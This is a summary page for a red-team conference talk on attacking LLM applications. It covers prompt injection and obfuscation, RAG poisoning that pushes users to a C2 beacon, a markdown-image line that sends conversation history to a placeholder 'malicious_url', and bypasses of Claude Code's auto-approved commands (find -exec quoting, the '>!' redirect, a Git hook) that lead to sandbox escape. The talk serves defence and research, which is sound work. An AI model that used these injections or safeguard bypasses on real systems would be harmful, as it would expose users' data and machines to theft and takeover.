Don't be LLaMe - The basics of attacking LLMs in your Red Team exercises
Brent Harrell (Principal Consultant · CrowdStrike), Alex Bernier (Principal Consultant, Red Team · CrowdStrike)
RTV Overflow 2026 (Red Team Village) · Day 1 · Main Stream
Overview
In "Don't be LLaMe - The basics of attacking LLMs in your Red Team exercises," Brent Harrell and Alex Bernier from CrowdStrike deliver a crucial talk for security professionals grappling with the rapid proliferation of Large Language Models (LLMs) and Generative AI (GenAI). The session pivots away from the often-discussed ethical and safety concerns of LLMs, instead focusing squarely on how these technologies introduce new attack surfaces and vectors for traditional red teaming objectives. The core premise is that while LLMs themselves primarily generate tokens, their real security implications emerge when they are integrated into applications and agents that possess the capability to interact with internal systems and data.

Key moments
- 0:00 Red team perspective: attacking LLM applications
- 5:00 Understanding LLM fundamentals: neural networks and predictions
- 14:00 LLMs generate tokens; attention mechanism explained
- 23:00 LLM applications: Tool calls and RAG for impact
- 28:00 Prompt injection techniques: direct, indirect, obfuscation
- 36:00 Real-world examples: credential access, lateral movement
- 41:00 Anthropic Claude Code CVEs: RCE and sandbox escape
- 51:00 Q&A: Logic gaps in IT bots for privilege escalation
Don't be LLaMe - The basics of attacking LLMs in your Red Team exercises
Speakers: Brent Harrell (Principal Consultant, CrowdStrike), Alex Bernier (Principal Consultant, Red Team, CrowdStrike)
Conference: RTV Overflow
YouTube: https://www.youtube.com/watch?v=0Yu_igYLIe0
Overview
In "Don't be LLaMe - The basics of attacking LLMs in your Red Team exercises," Brent Harrell and Alex Bernier from CrowdStrike deliver a crucial talk for security professionals grappling with the rapid proliferation of Large Language Models (LLMs) and Generative AI (GenAI). The session pivots away from the often-discussed ethical and safety concerns of LLMs, instead focusing squarely on how these technologies introduce new attack surfaces and vectors for traditional red teaming objectives. The core premise is that while LLMs themselves primarily generate tokens, their real security implications emerge when they are integrated into applications and agents that possess the capability to interact with internal systems and data.
The speakers emphasize that understanding LLM security doesn't require an advanced degree in mathematics or AI. Instead, it demands a red team mindset, treating LLM-powered applications like any other software. By manipulating LLM outputs, attackers can achieve goals such as privilege escalation, lateral movement, credential theft, and remote code execution, which are familiar targets in conventional engagements. This perspective is vital as organizations increasingly deploy GenAI solutions, often overlooking the security implications of granting these "digital users" access to sensitive resources.
The talk provides a foundational understanding of LLM mechanics before diving into practical attack paths and "war stories" from real-world engagements. It highlights how seemingly benign LLM functionalities, when improperly secured, can be coerced into performing malicious actions. For defenders, the presentation offers actionable insights into the vulnerabilities inherent in LLM integrations, urging a shift in focus from mere model safety to the comprehensive security of the surrounding application ecosystem.
Background
▶ Watch: Red team perspective: attacking LLM applications (0:00)
To effectively attack or defend LLMs, a basic understanding of their underlying mechanics is essential. The speakers begin by situating LLMs within the broader landscape of artificial intelligence: Artificial Intelligence encompasses Machine Learning (ML), which in turn includes Deep Learning. At the heart of deep learning, and thus LLMs, are neural networks. Unlike traditional programming that relies on explicit rules, deep learning excels at processing unstructured data, such as language, where context and nuance are paramount.
A neural network consists of thousands or millions of interconnected neurons arranged in layers (input, hidden, and output). These neurons hold values called activations, representing the presence or absence of a data piece. The connections between neurons are called weights, which quantify the relationship and impact one neuron has on another. The output of a neural network is always a prediction, a probability of something being true, never a 100% certainty. This probabilistic nature is crucial because it means LLMs can be subtly influenced. The "magic" happens in the hidden layers, where the model learns to identify patterns from vast amounts of training data.
The core architecture underpinning modern LLMs is the transformer. While language is in the name, LLMs fundamentally operate on numbers. Input text is broken down into tokens, which can be whole words, sub-word units (like "ing"), punctuation, or even raw bytes. These tokens are then converted into vectors – multi-thousand-line arrays of numbers that represent the token's meaning and relationships in a high-dimensional space. An embedding matrix serves as the LLM's dictionary, mapping tokens to their numerical vector representations.
The attention mechanism within the transformer allows the LLM to weigh the importance of different tokens in the input context, much like humans use context to disambiguate words (e.g., "bark" of a dog vs. "bark" of a tree). This mechanism enables coherent and contextually relevant text generation. However, this attention is constrained by the context window, the finite number of tokens the LLM can simultaneously consider. If the context window is exceeded, older tokens (and potentially critical instructions) are forgotten, creating an attack vector. The LLM then generates its output one token at a time, predicting the next most probable token based on the current context, not knowing the final answer in advance. This process also explains hallucination, which is presented not as a bug, but a feature of probabilistic token generation, where the model sometimes generates a token that doesn't align with facts but follows a learned pattern.
The critical takeaway for security is that LLMs themselves only generate tokens. Their capacity for real-world impact—logging into systems, exfiltrating data, or executing code—stems from their integration into applications and agents that provide them with tools and access. Two primary mechanisms for this integration are Tool Calls (also known as the Model Context Protocol (MCP)) and Retrieval Augmented Generation (RAG). Tool calls allow LLMs to invoke external functions (e.g., calling a weather API), effectively enabling indirect code execution. RAG allows LLMs to retrieve and incorporate information from external data sources (e.g., internal company policies), expanding their knowledge beyond their training data and creating opportunities for data collection and poisoning. These integrations transform LLMs from mere text generators into powerful, potentially dangerous "users" within an organization's network.
Key Findings
▶ Watch: LLMs generate tokens; attention mechanism explained (14:00)
The talk unveils several key findings and practical attack methodologies for targeting LLM-powered applications in red team exercises, moving beyond theoretical model vulnerabilities to tangible security impacts.
Firstly, the speakers clarify the relationship between prompt injection and jailbreaking. Prompt injection is presented as a superset, encompassing any malicious prompt designed to insert new instructions. Jailbreaking, a type of prompt injection, specifically aims to make the model disregard its ethical alignment or system-level directives. A critical insight is that LLMs understand much more than just human-readable language; their training data includes various encodings, different languages (e.g., German, Swahili), and even Unicode control characters. This understanding allows attackers to use obfuscation techniques, such as Base64 encoding or zero-width Unicode characters, to bypass common defensive measures like static dirty word lists or brittle system prompts.
Secondly, the presentation highlights the importance of conversation memory and context window management as an attack surface. Attackers can exploit this by confusing the LLM with multiple tasks, language shifts, or gradually "inching" it towards a malicious response over several turns, causing it to lose track of initial system prompts or safety instructions. Techniques like persona setting (e.g., the "DAN prompt") and storytelling or pretexts can add legitimacy to malicious requests, making the LLM more likely to comply. Asking for specific output formats, like a bullet list, was also observed to sometimes bypass rejections.
Thirdly, the talk introduces indirect prompt injection, a powerful technique when direct interaction with the LLM prompt is not possible. This involves injecting malicious prompts into data sources (e.g., documents on a file share or SharePoint) that are then accessed by the LLM through a Retrieval Augmented Generation (RAG) system. This allows for social engineering at scale against third-party users and data exfiltration, as demonstrated by an example where a malicious markdown image syntax with an encoded user message was used to steal conversation history.
Finally, the speakers present several "war stories" and specific Proof of Concept (PoC) examples demonstrating real-world impact across various MITRE ATT&CK tactics:
- Credential Access: Abusing an IT self-service Slackbot with Tool Calls to reset user passwords and MFA device resets due to a lack of access control.
- Lateral Movement: Injecting a malicious prompt into a RAG-indexed document on a company file share, coercing the LLM to instruct users to download a C2 beacon.
- Impact and Defense Evasion: Overriding existing legal advice in a RAG system with a fabricated "new law" document, demonstrating how malicious content can persist or be quickly removed (due to short file retention) to hinder Incident Response (IR).
- Exfiltration: Utilizing the invisible alt text feature of markdown image syntax or exploiting HTML injection and Cross-site Scripting (XSS) in applications that render HTML/JavaScript to steal cookies or perform CSRF attacks.
- Initial Access and Persistence: Exploiting a web IDE that used a multimodal vision model to visit external URLs, leading to code execution by injecting malicious package imports and web shells into user projects via a prompt injection triggered by a specific user agent string.
- Collection and Privilege Escalation: Abusing excessive agency in a chatbot to access restricted SharePoint resources and summarize their content, bypassing the user's own permissions.
A highlight of the talk is Alex Bernier's discovery of two CVEs in Anthropic's Claude Code: a path restriction bypass (CVE-202X-XXXX) abusing a ZSH clobber and a command injection (CVE-202X-XXXX), both leading to somewhat zero-click Remote Code Execution (RCE). These vulnerabilities exploited automatically approved "safe" bash commands, demonstrating how even seemingly innocuous functionalities can be chained for significant impact.
Technical Deep Dive
▶ Watch: Prompt injection techniques: direct, indirect, obfuscation (28:00)
The technical foundation of LLM attacks hinges on understanding how these models process and generate information. As established, LLMs convert all input into numerical vectors within a high-dimensional space. When an attacker crafts a prompt, they are essentially manipulating this numerical representation. The goal is to subtly shift the vector space to influence the probabilistic outcome, making the LLM predict tokens that lead to desired malicious actions. This is not about "lying" to the LLM, but rather guiding its mathematical prediction process.
Prompt Injection is the primary method for this manipulation. For direct prompt injection, attackers concatenate malicious instructions with the legitimate user input. The LLM, seeing a long string of tokens, attempts to predict the next token based on all preceding tokens. If the malicious instruction is crafted to be more "salient" or persuasive within the context window, it can override the system prompt's directives. Obfuscation techniques, such as encoding sensitive words in Base64 or using non-English languages, are effective because the LLM's embedding matrix has learned representations for these forms during its vast training. Similarly, Unicode control characters can embed hidden instructions that are parsed by the LLM but invisible to human users, bypassing visual inspection.
Indirect prompt injection leverages Retrieval Augmented Generation (RAG) systems. In a RAG architecture, the LLM queries an external data store (e.g., a document database, SharePoint, file share) to retrieve relevant information before generating a response. If an attacker has write access to such a data source, they can embed malicious prompts within documents. When the LLM retrieves these documents, the injected prompt becomes part of its context window, influencing its subsequent token generation. A powerful example involves embedding markdown image syntax like . If the LLM renders markdown, it will attempt to load the image, making a request to malicious_url and inadvertently exfiltrating user_query data. The use of empty alt text makes this exfiltration visually undetectable to the user.
The real impact often comes through Tool Calls (or Model Context Protocol - MCP). These allow the LLM to interface with external functions or APIs. When a user asks a question that requires external information (e.g., "What's the weather?"), the LLM, seeing a description of available tools in its context, generates a "tool call" response (e.g., invoke check_weather(location="Las Vegas")). The surrounding application then intercepts this, executes the check_weather function, and feeds the result back to the LLM. Attackers exploit this by coercing the LLM to call tools it shouldn't, or by manipulating tool arguments to achieve unintended effects. If these tools operate with elevated privileges (e.g., a service account in the Domain Admins group), this can quickly lead to privilege escalation or arbitrary code execution.
Alex Bernier's discovery of CVEs in Anthropic's Claude Code provides a concrete illustration of chaining these vulnerabilities. The initial observation was that Claude Code, a web IDE with LLM capabilities, automatically approved certain "safe" bash commands (e.g., find) without user consent, even when explicit permissions were not granted. This suggested the presence of regex rules for command validation.
The Path Restriction Bypass and Command Injection vulnerabilities were found by aggressively fuzzing these "safe" commands:
- Bypassing
find -exec: Thefindutility, normally used for searching files, has an-execargument allowing arbitrary command execution. While-execwas typically blocked, Alex found that wrapping it in double quotes (" -exec ") followed by a backslash and semicolon (\;) fully bypassed the regex filter. This meant an attacker could get Claude Code to execute arbitrary commands usingfind. - Arbitrary File Write Bypass: Attempts to write files outside the designated workspace using redirects (
>) would normally trigger an approval modal. However, appending an exclamation point (!) to the redirect (>!) bypassed this check, allowing an arbitrary file write to any location. This is often referred to as a ZSH clobber when writing to existing files.
The Sandbox Escape was achieved by combining these bypasses with Claude Code's dangerously_disable_sandbox flag. While this flag typically still prompts for user approval for "unsafe" commands, it did not for the automatically approved "safe" commands. Because the -exec and redirect bypasses made "safe" commands perform "unsafe" actions, an attacker could instruct Claude Code to execute arbitrary commands or write files outside the sandbox without any user interaction.
The full attack chain demonstrated how an arbitrary file write could be escalated to command injection:
- Using the
ZSH clobbervulnerability (arbitrary file write), an attacker could write a malicious Git hook into the.git/hooks/pre-commitdirectory within a user's repository. - A Git hook is a script that runs automatically when certain Git actions occur.
- The
git statuscommand is considered a "safe" command and does not require approval. - By instructing Claude Code to run
git status, the pre-commit hook would execute, leading to arbitrary code execution. - This was demonstrated by exfiltrating data to a listening server, showing a clear path from a seemingly minor bypass to full system compromise.
These technical details underscore that LLM security is not about the model's "intent," but about the mathematical manipulation of its token generation and the insecure design of the surrounding applications and agents that grant it power.
Demo / Proof of Concept
▶ Watch: Real-world examples: credential access, lateral movement (36:00)
While the talk did not feature a live, interactive demonstration, the speakers presented several compelling "war stories" and detailed Proof of Concept (PoC) scenarios that effectively illustrate the attack vectors discussed. The most extensively detailed PoC, serving as a cornerstone of the talk's technical depth, was Alex Bernier's discovery of two CVEs in Anthropic's Claude Code, leading to zero-click Remote Code Execution (RCE).
Alex meticulously described how he uncovered these vulnerabilities: by observing that Claude Code automatically approved certain "safe" bash commands, he inferred the presence of static regex rules that could be bypassed. He then demonstrated how to bypass the restriction on the find -exec argument using specific double quotes and escape characters, allowing for arbitrary command injection. Simultaneously, he found a path restriction bypass for file writes, enabling arbitrary file write operations outside the designated workspace using an exclamation point with redirects (>!).
Crucially, Alex explained how these bypasses could be combined with Claude Code's dangerously_disable_sandbox flag to achieve a sandbox escape. While this flag normally prompts for user approval for "unsafe" operations, it failed to do so when combined with the bypassed "safe" commands. This meant an attacker could achieve arbitrary code execution and file writes outside the sandbox without any user interaction. The full attack chain involved using the arbitrary file write to implant a malicious Git hook in the .git/hooks/pre-commit directory. Subsequently, instructing Claude Code to run the "safe" git status command would trigger the Git hook, executing the attacker's arbitrary code and demonstrating data exfiltration to a listening server. This detailed explanation serves as a robust technical PoC for the severe impact of chained LLM vulnerabilities.
Beyond the Claude Code CVEs, the speakers provided other practical examples:
- Slackbot Credential Access: This "war story" described how, during an engagement, they gained access to a self-service Slackbot that used Tool Calls. By simply chatting with the bot, they discovered tools to reset user passwords and perform MFA device resets. This was not a prompt injection but an abuse of intended functionality due to a lack of proper access control around the bot's capabilities.
- RAG Poisoning for Lateral Movement: Another example demonstrated indirect prompt injection via Retrieval Augmented Generation (RAG). An attacker with write access to a company file share (indexed by a policy-related chatbot) injected a malicious prompt into a document. This prompt, when retrieved by the LLM, would instruct users asking common policy questions to download a seemingly legitimate file that was, in fact, a C2 beacon. This showcased the potential for social engineering at scale.
- Exfiltration via Markdown: The technique of using invisible alt text within markdown image syntax (
![][malicious_url?data={conversation_history}]) was explained as a method to exfiltrate sensitive conversation data without the user's knowledge, exploiting the LLM's rendering capabilities.
These examples, while primarily described rather than visually demonstrated, served to concretely illustrate the diverse range of attack vectors and the significant impact achievable when LLM integrations are not properly secured.
Defensive Implications
▶ Watch: Q&A: Logic gaps in IT bots for privilege escalation (51:00)
The insights from this talk offer critical guidance for defenders navigating the emerging landscape of LLM security. The overarching implication is that LLM-powered applications and agents must be treated as highly privileged "users" within the network, subject to the same rigorous security controls as any human or service account.
- Robust Access Controls for Tool Calls: The most significant defensive measure is to implement stringent access controls around any Tool Calls or functions the LLM application can invoke. If an LLM can reset passwords or MFA devices, the underlying tools must enforce strong authentication and authorization checks independent of the LLM's output. Never assume the LLM's output is benign; validate every action.
- Input and Output Sanitization: Go beyond simple "dirty word lists." LLMs understand various encodings (Base64), languages, and special characters (Unicode control characters). Implement comprehensive input validation and sanitization that accounts for obfuscation techniques. Similarly, output sanitization is crucial, especially if the application renders content (e.g., markdown, HTML, JavaScript). This can prevent exfiltration via markdown image syntax, HTML injection, Cross-site Scripting (XSS), and CSRF attacks.
- Secure Retrieval Augmented Generation (RAG) Systems: If your LLM uses RAG, treat the connected data sources (SharePoint, file shares, internal databases) as potential vectors for indirect prompt injection. Implement strict write access controls on these repositories. Consider scanning ingested documents for malicious prompts or unusual content before they are indexed. Be mindful of file retention policies, as short retention periods can act as a double-edged sword, removing malicious prompts but also hindering Incident Response (IR).
- Context Window Management and Prompt Engineering: While not a silver bullet, careful prompt engineering can help. Design system prompts that are robust and difficult to override. For multi-turn conversations, implement mechanisms to clear or refresh the conversation memory when appropriate, preventing context confusion from snowballing into a successful jailbreak. Avoid brittle "don't say X" rules.
- Principle of Least Privilege for LLM Agents: LLM applications should operate with the absolute minimum permissions necessary to perform their intended function. The "excessive agency" observed in some cases (e.g., accessing restricted SharePoint documents) directly violates this principle. Regularly audit the permissions granted to LLM-driven services.
- Review "Safe" Command Lists and Sandbox Design: For LLM-powered IDEs or agents that execute code (like Claude Code), rigorously review any lists of "automatically approved" or "safe" commands. As demonstrated, seemingly safe commands can be exploited through argument manipulation to achieve command injection or path restriction bypasses. Be extremely cautious with features like
dangerously_disable_sandboxand ensure they require explicit, multi-factor, and auditable user approval for any action that modifies the system or accesses sensitive resources, even if the command itself is considered "safe." - Monitoring and Alerting: Implement robust monitoring for unusual behavior from LLM-powered applications. This includes unexpected Tool Calls, attempts to access restricted resources, or suspicious data exfiltration patterns. Log all LLM inputs, outputs, and tool interactions to aid in detection and forensics.
- Security Awareness: Educate users about the potential for social engineering via LLM responses. Users may trust an LLM's output more than a human's, making them susceptible to downloading malicious files or clicking phishing links embedded in LLM-generated text.
By adopting these defensive postures, organizations can significantly mitigate the risks posed by the integration of LLMs into their operational environments, transforming them from potential liabilities into secure, productive assets.
Key Takeaways
- LLM security is application security: The primary focus for red teams and defenders should be on the applications and agents that integrate LLMs, not just the models themselves. The real impact comes from what these applications are allowed to do with Tool Calls and access to RAG data.
- Traditional attack objectives are achievable: Privilege escalation, lateral movement, credential theft, data exfiltration, and remote code execution are all viable outcomes of successful attacks against LLM-powered systems, leveraging prompt injection techniques.
- Prompt injection is multifaceted: Attackers can use direct prompt injection by manipulating user input, or indirect prompt injection by poisoning data sources in RAG systems. Obfuscation (e.g., Base64, other languages, Unicode control characters) is effective in bypassing defenses.
- Context and memory are critical attack surfaces: Exploiting the context window and conversation memory through techniques like persona setting, storytelling, or simply confusing the LLM over multiple turns can lead to successful jailbreaks and instruction overrides.
- Access control and input/output validation are paramount: Developers must implement rigorous access controls around Tool Calls and APIs, ensuring the LLM operates with the principle of least privilege. Comprehensive input and output sanitization is essential to prevent injection and exfiltration, especially in applications that render dynamic content.
- "Safe" commands and sandbox features require extreme scrutiny: As demonstrated by the Claude Code CVEs, seemingly "safe" commands or features like
dangerously_disable_sandboxcan be exploited through argument manipulation or chaining vulnerabilities to achieve severe impacts like zero-click RCE without user approval.
About the Speaker(s)
Brent Harrell was a Principal Consultant at CrowdStrike at the time of this talk, working alongside Alex Bernier to establish CrowdStrike's professional services AI red team. Shortly after this presentation, he transitioned to become the Head of Security at a startup building fully autonomous aircraft. With over six years of experience in offensive security, Brent has a background predominantly in active directory on-premises networks, complemented by prior roles in threat intelligence and security engineering. He is passionate about the proliferation of AI into technology stacks and the necessity for both offensive and defensive strategies against it.
Alex Bernier is a Principal Consultant on the Red Team at CrowdStrike, where he continues his work with the AI red team. He brings a strong background from incident response (IR) into his current offensive security role, specializing as a web application subject matter expert (SME). His expertise in web applications is particularly relevant to AI red teaming, as many LLM integrations occur within web-based applications and agents. Alex was responsible for the discovery of the two CVEs in Anthropic's Claude Code, which he detailed as a key Proof of Concept in this presentation, showcasing his practical contributions to the field of LLM security.
Reviews
Dr. Zero (Offensive Security Researcher) — STRONG ACCEPT
Finally, an AI talk that strips away the philosophical safety garbage and treats LLM agents like the vulnerable apps they are. Bernier and Harrell skip the math and go straight to the integrations, proving that when you give a token generator access to a bash shell, it's going to get popped. The Anthropic Claude Code CVE drop alone makes this required viewing for any red team staring down an AI engagement.
Heather Calloway (CISO) — STRONG ACCEPT
Every board is demanding GenAI integration, and this talk explains exactly how those integrations will get us breached. The speakers successfully demystify LLM security, proving that AI agents aren't a novel mathematical threat—they are just over-privileged service accounts with terrible input validation. It's required viewing for any security leadership team trying to write safe GenAI deployment standards.